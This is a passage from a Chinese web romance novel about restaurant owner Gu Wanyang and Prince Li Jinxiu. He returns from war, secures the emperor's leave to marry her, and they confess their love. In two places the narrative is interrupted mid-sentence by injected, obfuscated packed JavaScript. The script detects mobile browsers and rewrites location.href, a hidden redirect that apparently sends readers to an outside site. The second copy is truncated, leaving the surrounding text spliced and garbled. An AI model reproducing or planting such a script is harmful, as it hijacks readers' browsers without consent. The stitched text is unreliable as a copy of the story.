顾宛央坐在收银的柜台里面，托腮看着这群平日里斯文又矜贵的食客，今日敞开了胸怀，如同一家人似的，被他们感染之余内心又隐隐有些惆怅，心中总有事未了。 就在此时，远处传来嘚嘚的马蹄声，由远至近可以听得出速度飞快，没多一会，马蹄声便在随心酒楼门前处停了。 顾宛央转过头往外望去，只见一人身着铠甲骑着一匹白色的战马，正打量着门头的酒楼招牌。 这一眼，让顾宛央心跳加速，身体不由自主地颤抖起来，是他！李瑾修！ 众食客也惊呆了，一人一马就这样突然出现在眼前，大家停下敬酒吃菜的手，眼神全部集中在来人的身上。 “这是谁啊？” “怎么骑着马就在京都乱跑。” “对啊，还穿着战甲？” “他是要来随心酒楼吃饭的吗？” “东......东靖王殿下？” “什么？他是小战神东靖王？” “不会，你看错了吧，怎么可能！” “没，没看错，我见过东靖王殿下。” “你就扯吧！东靖王刚刚大胜，怎么可能回来的这么快。” “对，而且他肯定是带领着大军一起返回的。” 大家议论纷纷，不敢轻易肯定这人的身份，就在这时，又有一匹黑马急速而来，嘴里还喊着：“东靖王殿下，等等我。” 听到这一声，随心酒楼大堂里面的和大堂外面的食客，纷纷倒头就跪拜高呼：“东靖王殿下千岁！” 郑奎骑着黑马追 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15153362|158165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了上来，对着李瑾修补救地说道：“殿下，这里就是随心酒楼了。” 郑奎汗颜，殿下带着他快马加鞭跑了三天三夜，就为了早日赶回京都，本来是他应该骑在前面带路的，没想到殿下的速度飞快，把他甩到后面去了。 顾宛央的身体不听使唤地从大堂里面缓缓走出，她的脑子已经失去思考的能力，这人就这样回来了？ 李瑾修坐在马背上，眼神缓缓从招牌上移下来，就看见那个让他日思夜想的身影，让他奋不顾身挣军功的人，正向自己走来。 李瑾修翻身下马，顾宛央正好走到他的跟前，他瘦了也黑了，但却褪去了少年的张扬变得沉稳冷静，一身战甲让他显得格外精神和强壮。 “酒楼可还有座位？”李瑾修见顾宛央盯着他看，久久不开口，于是微笑着问道。 这话一出，郑奎差点摔一跤，这是什么开场白！怎么跟互不相识一样？殿下日思夜想的样子他可是见过的！ “有，贵客请跟我来。”顾宛央被李瑾修的话惊醒，她慌乱地掩饰着自己内心的震动，尽量冷静地答道。 李瑾修听着顾宛央微微的颤音，笑容更深了，说道：“烦请带路。” 顾宛央转身带路，差点顺拐，好容易调整了过来，她直接将李瑾修和郑奎带到了二楼包厢。李瑾修看着顾宛央心慌紧张的样子，嘴角压都压不住了。 “诶？二楼包厢不是会员才能用的吗？顾老板怎么带进去了。” “你这人，东靖王殿下可是我们的英雄，是不是会员有什么关系吗！” “就是，如果东靖王殿下想要，我这张会员卡可以无偿赠送与他。” “得了吧，殿下还需要你赠送？顾老板肯定会给他办的，你别在这里做好人了。” “话说回来，东靖王殿下怎么就带了一个侍卫回来了？大军呢？” “应该是殿下先行回来，大军在后面由安国公带回来吧。” “殿下消息倒是灵通，居然知道随心酒楼。” “是啊，不过也难怪，这战事打了快一年，回来了总是想先尝尝家乡美食。” “应该的应该的！” “咦，我也好像在哪里见过东靖王。”陆三爷若有所思地看着李瑾修进了酒楼。 “陆老三，你说什么呢，你怎么可能见过。” “就是，你虽然消息灵通，但要见皇族好像还差点火候吧。” “哎，跟你们说不清楚，喝酒喝酒！”陆三爷已经喝的有点多了，继续端着杯子敬人。 顾宛央从未感觉这酒楼从大堂到包厢有这么远，这台阶怎么这么多，走都走不完，她感觉到自己的后背被灼烧了一般，忍不住扭动了一下肩膀。 李瑾修跟在顾宛央的身后，眼神一刻都未从她身上挪开，她瘦了，是不是太累了，伙计太少了，得再加几个才行。 终于，顾宛央把他们带进了最近的二楼包厢，顾宛央垂着眼眸问道：“贵客想点什么菜？” “宛央，我回来了。”李瑾修再也忍不住了，在酒楼外面他没有直接喊她，是担心节外生枝，也担心为她带来不必要的困扰，但包厢只有她和自己，哦对还有个郑奎，他终于卸下所有防备。 84. 第 84 章 顾宛央抬起了眼眸，心中莫名觉得委屈，她强忍着泪水，语气不善地说道：“你还知道回来啊。” 听到顾宛央说的这句话，李瑾修眼眶突然就红了，他喃喃自语了几个“我”字后，喉咙里发不出一点声音。 “你为何不说明去哪里了，也不留个联系地址，你知不知道我找你找了很久啊！”顾宛央把这近一年来的委屈全部发泄了出来。 郑奎一见情势不妙，赶紧退出包厢，并贴心地关上包厢的门，这是殿下自己要解决的问题，他可不想被株连。 “一个不满意就离家出走，能的你了。”顾宛央继续输出，也不管有没有道理。 “我......我......” “你什么你，你的契约精神呢，你跟我合伙开食肆的，开到一半把合伙人扔下跑了，你这样对吗？”顾宛央气不打一处来。 “你走就走了，至少当面跟我说一声，就说不想跟我合伙开食肆了，你觉得看到我就烦心，那我会把你投资的本金分红一起还给你，也省的我老是挂着这件事。”顾宛央絮絮叨叨。 “我没有。”李瑾修想分辩，但又被顾宛央打断，天哪，女人吵起架来都这么厉害的嘛！ “你肯定有，否则为何只留字条，不跟我当面说清楚！”顾宛央说道，“我承认那天晚上对你态度是凶了点，但我还不是怕你这么冲动，会捅出更大的篓子来。” “还好崔学子并未告知家人，是你踢他下水，否则我估计你都走不出齐中县。”顾宛央气呼呼地说道，不过说完这话，她后知后觉地想起刚刚众人喊他东靖王的事情来，于是声音不由自主地慢慢小了下去。 李瑾修见争辩不过，也彻底放弃挣扎，脸带微笑地看着顾宛央一通输出，她就算骂起人来也这么优雅可爱。 “解气了吗？”李瑾修笑着问道。 顾宛央一顿输出也有些累了，找了张凳子就坐了下去。 “那天晚上，我收到飞鸽传书，北真犯我边境，父皇急召我回去商议战事，所以不得不马上离开。”李瑾修也坐了下来，看着顾宛央的眼睛认真地解释道。 “不过，是我的错，我应该当面跟你道别说明原委，不应该留下几个字就消失，但那天晚上你说不想再见到我，我很伤心，所以......”李瑾修说道。 “那是气话你听不出来吗？”顾宛央一听又急了。 “知道知道，我冷静下来才知道的。”李瑾修赶紧哄道，“但那是已经晚了，我已经去了北境要忙着战事，已经顾不上再回来找你，想着等这场战事结束，我回来再好好给你解释，没想到这一打就快一年。” “那你也可以飞鸽传书给我，说一下情况啊。”顾宛央还是不开心，明明很简单事情，被他搞得这么复杂。 “飞鸽传书固然可以，但我要告诉你的事情太多了，包括我的身份，我觉得传书不够郑重，还是当面给你解释道歉比较好，所以越拖就越失去了传书给你的勇气，不过，你看我这不就回来了嘛！”李瑾修真诚地说道。 顾宛央一噎，她居然找不到反驳的理由，真是大直男！ “既然你回来了，我去把小食肆的本金和分红取来还给你，也了却我一桩心事。”顾宛央站起来说道。 “诶，宛央，不用不用。”李瑾修急忙站起来拉住顾宛央的手。 顾宛央感觉到手心一阵温暖，而后便是感受一粒一粒厚厚的老茧，再然后她才反应过来被李瑾修拉了手，她下意识地甩开他的手，却没发现他眼中的一丝失落。 李瑾修搓着手缓解尴尬，说道：“我是想，把小食肆的本金和分红投到这个酒楼里，我还想做你的合伙人。” “你想得美，这是我一个人的酒楼。”顾宛央气呼呼地说道。 “那也不急，我饿了，想吃你做的菜。”李瑾修也不恼笑嘻嘻地说道，反正做不做合伙人不是最重要的。 “现如今只有招牌菜是我做的，你当真要吃？”顾宛央笑起来有些诡异。 李瑾修莫名觉得有点冷，不知道她又做了什么稀奇古怪的东西，但依旧点头说道：“当真要吃，我已经快一年没吃到你做的菜了，实在想念的紧，军营里的饭菜那都只是为了填饱肚子的。” “那行，你等着，我去去就来。”顾宛央有些兴奋起来，转身就往外走，留下李瑾修一人搜肠刮肚想了一遍有可能吃到的菜。 包厢门一打开，郑奎和小桃便滚了进来，他俩正趴在门上听壁脚，没想到顾宛央突然就开了门，郑奎一边一手捞住快要与地面亲密接触的小桃，一边尴尬地笑道：“殿下，有什么吩咐？” 李瑾修脸都绿了，咬牙说了一个字“滚”。 “好嘞。”郑奎身手敏捷地将小桃拖了出去，这是最好的结果。 顾宛央被这一幕惊到了，她回复了一下情绪，依旧开心地走了出去。 “小桃，今日招牌菜是什么？” “等会你就知道了。” 等招牌菜端上桌的时候，李瑾修的脸又开始抽搐，只不过现在他已经习惯了顾宛央的性子，倒是没有第一次见到这玩意时候的震惊。 “本店今日招牌菜，爆炒田鸡！”顾宛央看着李瑾修的样子，就想到了刚刚认识的时候，他各种嫌弃她的食材，不由地笑道：“怎么样，吃吗？” 李瑾修想都没想，拿起筷子直接夹了一块田鸡腿吃进嘴里，他脸上露出满足的表情，果然好吃啊，第一次的时候他不敢吃，没想到居然这么好吃。 顾宛央看李瑾修一点都没犹豫地吃起了田鸡，不由奇道：“你不是不吃丑东西的吗？” 李瑾修品味着眼前的美食，缓缓地说道：“在北境有时候吃到的东西，比这个更丑。” 顾宛央内心一紧，是啊，她忘了李瑾修刚刚从那么惨烈的战场下来的，这一仗打了近一年，其中的困难艰辛旁人是无法知晓的，顾宛央心疼地看向李瑾修。 李瑾修正好也看向顾宛央，他眼中柔情似水，灼热的目光让顾宛央的小心脏差点漏跳一拍，正当她想说点什么打断这该死的暧昧时，李瑾修爽朗的声音响彻整个包厢：“这田鸡真好吃啊，不亏我跑了三天三夜赶回来吃上这一口。” 这下轮到顾宛央脸部抽搐了，是自己自作多情了，这家伙眼里只有吃的！一时间，她心中的失落怅然排山倒海般袭来，自己这是怎么了，难道还期待发生点什么吗？他的身份那么尊贵，顾宛央自嘲地笑了笑，强行按下自己情绪。 李瑾修将一大盘爆炒田鸡和两大碗米饭全都吃光，他多久没吃得这么满足了。郑奎在外面提醒该走了，李瑾修多想再多留些时间跟宛央好好聊聊，但他还有更重要的事情，必须去做完才能安心回到这里，到时候有的是时间。 “宛央姐，刚刚瑾修哥在包厢跟你聊了什么呀？”小桃看着李瑾修和郑奎离去的身影，好奇地问道。 “你们不是都听到了吗，谁教你听壁脚的？”顾宛央小脸一板批评道。 “嘿嘿，是郑奎哥拉我听的，瑾修哥没跟你说打仗的事情啊？”小桃憨笑两声说道。 “他并未提起。”顾宛央说道。 “郑奎哥说，瑾修哥有好几次差点连命都没了呢。”小桃说道。 “他这么拼命干嘛啊！”虽然李瑾修好端端出现在面前，但顾宛央还是不敢想象战场上的激烈。 “是啊，我也这么问郑奎哥，他说瑾修哥是为了挣军功。”小桃不解，“我就问了，瑾修哥堂堂一位王爷，还需要军功做什么？” “嗯？是为什么？”顾宛央也觉得奇怪，前阵子就听食客说了他拼命挣军功，成了小战神。 “郑奎哥没说原因，只说过些日子就知道了。”小桃学着郑奎的样子说道。 “奇奇怪怪的，算了，不管这么多了，人回来了就好。”顾宛央说道。 李瑾修就这样回来了，顾宛央把他送走，还有些缓不过神来，酒楼打烊后，顾宛央早早地进屋休息，点着油灯回想着过往的一幕一幕。 原来他是皇室中人，怪不得能进齐中县令府里上主桌吃寿宴，那乐平公主就是他的妹妹，怪不得第一次见到乐平公主就有一种熟悉面善的感觉，原来是这样。她从未想过他的身份如此尊贵，今日重逢他有变化但却又感觉什么都没变，除了外表有变化，其实他还是那个阳光开朗性情活跃的少年。 陈家二老忧心忡忡地看着顾宛央房内亮着微弱的油灯，闺女从未像今日般失神，早早说要去休息，但房间的油灯到现在还亮着，李瑾修的身份是他俩始料未及的，他们是旁观者看得清楚，闺女只怕是已经对李瑾修动了情，否则李瑾修不告而别的时候，她也不会那么失落，也不会为了要找李瑾修举家搬到京都来，虽然这只是其中一个原因。 只是，皇室的门可不是那么好进的。 皇宫里坤善宫内，皇后正拉着李瑾修的手，仔仔细细地打量，一边打量一边眼含泪花：“瑾修，你受苦了。” “不苦，母后，保家卫国这是儿臣应该做的。”李瑾修安慰着皇后。 “瑾修长大了，我印象中你还是个喜欢到处乱跑，游山玩水的臭小子，怎么一下就立了这么大的军功，真是虎父无犬子，像我！哈哈哈哈！”皇帝笑声洪亮，看得出来心情非常的好。 “三哥，我也想去打仗，下次也带我一起去嘛！”乐平公主摇着李瑾修的胳膊，天真地说道。 “好，等你满十八岁了，我就带你去。”李瑾修豪气万丈地说道。 “咚”的一声，李瑾修哎哟抱住了脑袋，皇后气势汹汹地指着他说道：“你敢！” “不敢，不敢。”李瑾修假装害怕地说道，“乐平，你看到了啊，是母后不让你去，不是我不带你去。” 乐平在一旁小嘴撅了起来，扭过身子去闹脾气了。 皇后也顾不上哄她，虽然刚刚敲了李瑾修一个毛栗子，但又心疼起来，她给李瑾修揉了揉，说道：“你这孩子，怎么还这么不懂事。” “男子汉大丈夫，这点小痛算什么，瑾修现在被大家喊作小战神，他在战场上什么苦没吃过，什么伤没受过。”皇帝在一旁闲适地喝着酒，他这一生早年有安国公辅佐，现如今自己的儿子又成了小战神，他真是鸿运当头祖宗保佑。 “是啊，瑾修，你这么拼命做什么，你可是皇族的王爷，你出了事让母后怎么办！”皇后后怕地说道。 “话不能这么说，男儿保家卫国天经地义，不能因为身份尊贵就胆小怕死，瑾修，你做的对，父皇为你骄傲。”皇帝纠正皇后道。 “父皇，母后，儿臣定当竭尽全力保家卫国，收复我大夏所有的失地。”李瑾修跪拜下来说道。 “好，我儿好样的，有志气！”皇帝欣慰地说道，“此次你军功最大，说吧，想要什么赏赐。” 终于说到关键点了，李瑾修心脏快跳了几下，他深吸一口气，稳稳地开口：“请求父皇母后恩赐，儿臣的婚事能由自己做主。” 皇帝一听，有些愣了，问道：“婚事？你自己做主？” 皇后一听，脑海中闪过那个淡雅从容的身影。 “正是，请求父皇母后恩准。”李瑾修跪倒在地磕头，相当的诚心。 “哦？你说说看，是谁家的女儿，让你动心了？”皇帝神色如常，看不出喜怒。 皇后紧紧攥着手中的帕子，伴君如伴虎，虽然儿子立下大军功，但皇家的婚事没有那么简单，关系到权衡各种利弊。 “是随心酒楼的老板顾宛央。”李瑾修手心里汗，但内心无比坚定。 “放肆！”皇帝一拍桌子，皇后和乐平公主也跪了下来。 “一个小小的开酒楼的民女，如何配做王妃？”皇帝说道。 “父皇，她不是普通的民女，您忘啦，前阵子祖母的寿辰，她来做过寿宴，祖母还给她赐过字呢。”乐平公主虽然还在无比惊讶中，但条件反射地就维护起了顾宛央。 “哦？是她？”皇帝回想了起来。 “是啊皇上，臣妾看她虽然身份低微，但举手投足尽是大家闺秀的风范，太后也喜欢她。”皇后也帮着说话。 “你们两个何时相识的？”皇帝按捺下怒火，问道。 李瑾修将如何认识顾宛央的经过细细讲了一遍，这次他没有隐瞒顾宛央救过他的命，他完全如实地告诉了自己的父母。 皇后一听李瑾修差点丢了性命，虽然不敢细问，但眼中有着无比的心疼，这孩子怎地如此多舛。 “那说起来，她还是你的救命恩人。”皇帝稍微消了气，继续问道：“你们两个已经是两情相悦了吗？” 李瑾修有些艰难地开口：“还，还没有，儿臣还未倾心以告。” “荒谬，你都不知对方心意，便在此求恩赏。”皇帝一听此话又怒了起来，“你可是堂堂的大夏朝东靖王，娶回来做个侧妃也就罢了，你还想求娶她为正妃？” “父皇，儿臣此生只求宛央为正妃，只娶她一人。”李瑾修再次叩拜。 “你疯了吗？这话都说得出口？”皇帝扔了个茶杯到李瑾修的脚下。 “为何说不出口，舅父安国公也只求娶了舅母一人，舅母从前也是开酒楼的，舅父是大夏朝的战神，我现在是大夏朝的小战神，我为何就不可？”李瑾修抬起头，一双酷似皇后的凤眼，直视皇帝。 “好，好，原来你拼了命挣战功当小战神，就是为了她！”皇帝气极反笑。 李瑾修不语，皇后见状拼命打圆场：“皇上，别生气，瑾修说的也没错，而且瑾修肯定也不单单只为了那位女子，他是为了给皇上分忧，想成为皇上的左膀右臂才如此拼命的。” “你不用替他说话，朕不允！”皇帝甩着袖子就出了坤善宫。 皇后追了出去，但没过多久便返回来，她扶起还跪着的李瑾修，说道：“你呀，太任性了。” “我觉得三哥做的没错啊，喜欢什么就要争取，况且我也很喜欢顾姐姐，若是她能做我的三嫂嫂，我也很高兴。”乐平公主在一旁小声嘀咕。 “还三嫂嫂呢，你三哥现在还不知人家心意呢。”皇后叹道。 李瑾修没有说话，默默地给皇后行了礼，退了出去，他知道不会这么容易，但这又何妨，他就是拼了命也要得到这份恩赏，反正又不是没拼过命。 接下来几日，皇帝的御书房门口成了李瑾修常驻之地，他跪在那里不吃不喝，可是就算如此皇上也不见他。 直到安国公听闻此事，急匆匆赶来御书房，在门口瞧见了快要脱水的李瑾修，他叹了一口气，推开了御书房的门走了进去。 李瑾修已经快失去神采的眼睛里，顿时有了希望。 过了足足一个时辰，御书房的门终于开了，安国公走了出来，他将李瑾修扶起来，说道：“皇上应允了，去吧，做你想做的事情，只是，希望将来大夏战神这个称号你可以当之无愧。” 李瑾修重重点头，下一秒他晕在了舅父的怀中。 御书房里，皇后对皇帝说道：“我以为皇上必不肯应允呢。” “哎，这孩子最像安国公，若是再不应允，我怕大夏失去一个新的战神。”皇帝无可奈何。 “是啊，长得像，性子也像，没想到连打仗也这么像。”皇后喃喃道。 “安国公说的对，他年纪也大了，是该有后来人了，瑾修就是最好的接班人。”皇帝说道，“朕还有这么多儿女，联姻的事情就不劳烦瑾修了，只要他给朕扛起战神这面大旗。” “皇上英明。”皇后说道。 等李瑾修再次睁开眼睛，他揭开被子就往外冲，郑奎急忙一把抱住他，劝道：“殿下，殿下，咱们怎么着也得先吃点东西，然后洗漱装扮一下，再去见顾姑娘不是。” 李瑾修冷静下来，多日来滴水未进，使他脸色憔悴不堪，他接过郑奎递来的人参鸡汤一饮而尽，而后快速洗漱穿衣冲了出去。 整整十日，顾宛央没有等到李瑾修来找她，她这才明白他已不是原来小食肆合伙人的他。 “你们听说了吗？据说东靖王为了婚事绝食了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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郑奎和小桃远远跟在后面，看到这一幕，郑奎倒是没有讶异之色，小桃惊得捂住嘴小声说：“瑾修哥怎么拉宛央姐的手啊。” “嘘。”郑奎及时制止小桃想要上前瞧个究竟，说道：“走，等会我们去听壁脚。” 李瑾修柔声说道：“宛央，进来，我有话跟你讲。” “进来就进来，别动手。”顾宛央气道。 “好好，我不动，你进来再说。”李瑾修虽然不知道顾宛央为何如此生气，但他依旧好脾气地哄道。 顾宛央进了包厢，李瑾修将门关上，顾宛央急道：“好好的你关门做什么？” “宛央，宛央，你听我说，我有个好消息。”李瑾修高大的身形将门挡的死死的，让顾宛央下不了开门的手。 顾宛央索性也放弃，坐了下来，开门见山地说道：“你说的好消息是指你的婚事吗？” 李瑾修诧异地说道：“你都知道了？” “能不知道吗，都传遍大街小巷了，尊贵的小战神东靖王殿下，为了自己的婚事绝食好几日呢，最终皇上妥协了吧，你才能出的来。”顾宛央说这些话的时候，莫名地心痛了一下。 “正是，父皇应允了。”李瑾修兴奋地说道，坐在了顾宛央的对面，深情地看着她说道：“宛央，你应允吗？” 顾宛央一时间都快暴走了，她压制住怒火，冷笑道：“你愿意就行，与我何干。” 这下轮到李瑾修愕然了，说道：“怎么就与你无关呢？” “我又不认识什么昌远候家的五小姐，我没办法给你意见，若你要说的话就是这件事，那你赶紧走吧，我的酒楼不做你生意了。”顾宛央蹭地站了起来，一字一句地说道。 什么？昌远候家的五小姐，这是哪跟哪啊，李瑾修脑子反应了一下，看向一脸怒气的顾宛央，突然间笑了起来：“宛央，你吃醋了？” 吃醋？顾宛央蓦然清醒，对啊，她为何要发火，他的婚事与她何干，也用不着动怒啊！朋友之间来询问一下建议，也未尝不可，但这一腔邪火却狠狠压在她的胸口，使她冷静不下来。 李瑾修见顾宛央如此情绪，反而心中狂喜，原本还忐忑的内心，顿时有了信心，他就说自己的感觉没有错，宛央对他的感情不一样。 “宛央，我心悦你。”李瑾修不敢上手拉顾宛央的手，只能注视着顾宛央那双努力压制火气的眼睛，柔声说道。 顾宛央闻言呆了一呆，不可置信地说道：“你在胡说什么，你马上要跟昌远候五小姐成婚了，还在这里说胡话。” “我没有说胡话，我说的是真话。”李瑾修怎么都看不够顾宛央这双眼睛，灵气十足，有时候霸道有时候温柔，就跟会说话似的。 “我跟父皇求的恩赏，是要做主自己的婚事，而我心悦的对象正是你，随心酒楼的老板顾宛央！”李瑾修一边说着，一边强压着激动的心情，这是他拼了好久才等到的这一刻。 “你，说的都是真的？”顾宛央犹不可信地看着李瑾修。 “千真万确，我发誓。”李瑾修举起了发誓的手。 “你对皇上就是这样说的吗？”顾宛央问道。 李瑾修重重点头说道：“我求到了恩赏，才敢与你倾诉，我李瑾修此生只愿娶你一人。” 顾宛央那腔邪火慢慢消散，她那跌落低谷的心情也缓缓升了起来，只觉得心中有花朵在绽放，只是她依旧平静甚至有些冷漠地开口说道：“你心悦我就行了吗，我可没说过这话。” 李瑾修的笑容慢慢消失，他没想到顾宛央的回答是这样的。 顾宛央蹭地站了起来，转头从包厢的柜子里拿出一个精致的布袋子，扔到李瑾修的面前说道：“这是你的本金和分红，拿走吧，我不需要了。” 李瑾修眼神悲伤地看着顾宛央。 “你不是我的合伙人了，你被开除了。”顾宛央盯着李瑾修的眼睛一字一句地说道。 李瑾修自嘲地笑了一下，低声说了一句：“打扰了”，缓缓地拿起了桌上的布袋子，站起身来脚步迟缓地想往门口走去。 “站住。”顾宛央霸气地喊道。 李瑾修转身看着顾宛央，眼中已经没有了光，多日的绝食让他觉得自己马上就要倒下。 顾宛央走到李瑾修的面前，稍稍踮起脚尖，轻声说道：“我不要你做我的合伙人了，我要你做我的心上人！” 看着李瑾修的眼神从不可思议到狂喜，顾宛央嘴角微微翘了起来，这些天的低落和惆怅完全消失殆尽，她的内心已经被眼前的人所填满。 “扑通” 郑奎和小桃破门而入，郑奎一手捞住又要与地面接触的小桃，尴尬地说：“殿下，有何吩咐？” 双手快要抱上顾宛央的李瑾修，看着一对活宝，脸黑的跟碳似的。 不等李瑾修开口，郑奎捞起小桃就往外撤，一边撤一边关上门说道：“我知道了，我滚，我滚。” “小桃你怎么搞得，稍微贴着门就好了，你倒好，整个人都趴上去了，你看把门都趴开了吧。” “哎呀，他们说话声音怎么越来越轻，宛央姐那句话我都没怎么听清。” “你听不清可以问我啊，我都听得清清楚楚。” “那宛央姐最后一句话说的是什么？” “不告诉你，就不告诉你。” “死郑奎，你给我站住！你给我回来！” 听着郑奎和小桃的声音越来越，顾宛央笑着摇头，见李瑾修还保持着双手环抱的动作，于是主动靠了上去，双手紧紧抱住眼前这人满是筋肉的后腰，感受到李瑾修僵硬的双手环抱住了自己，温暖的手掌源源不断地给她传送着热气，顾宛央倚靠在他宽厚的胸膛上，原来这就是幸福的感觉！ --全文完--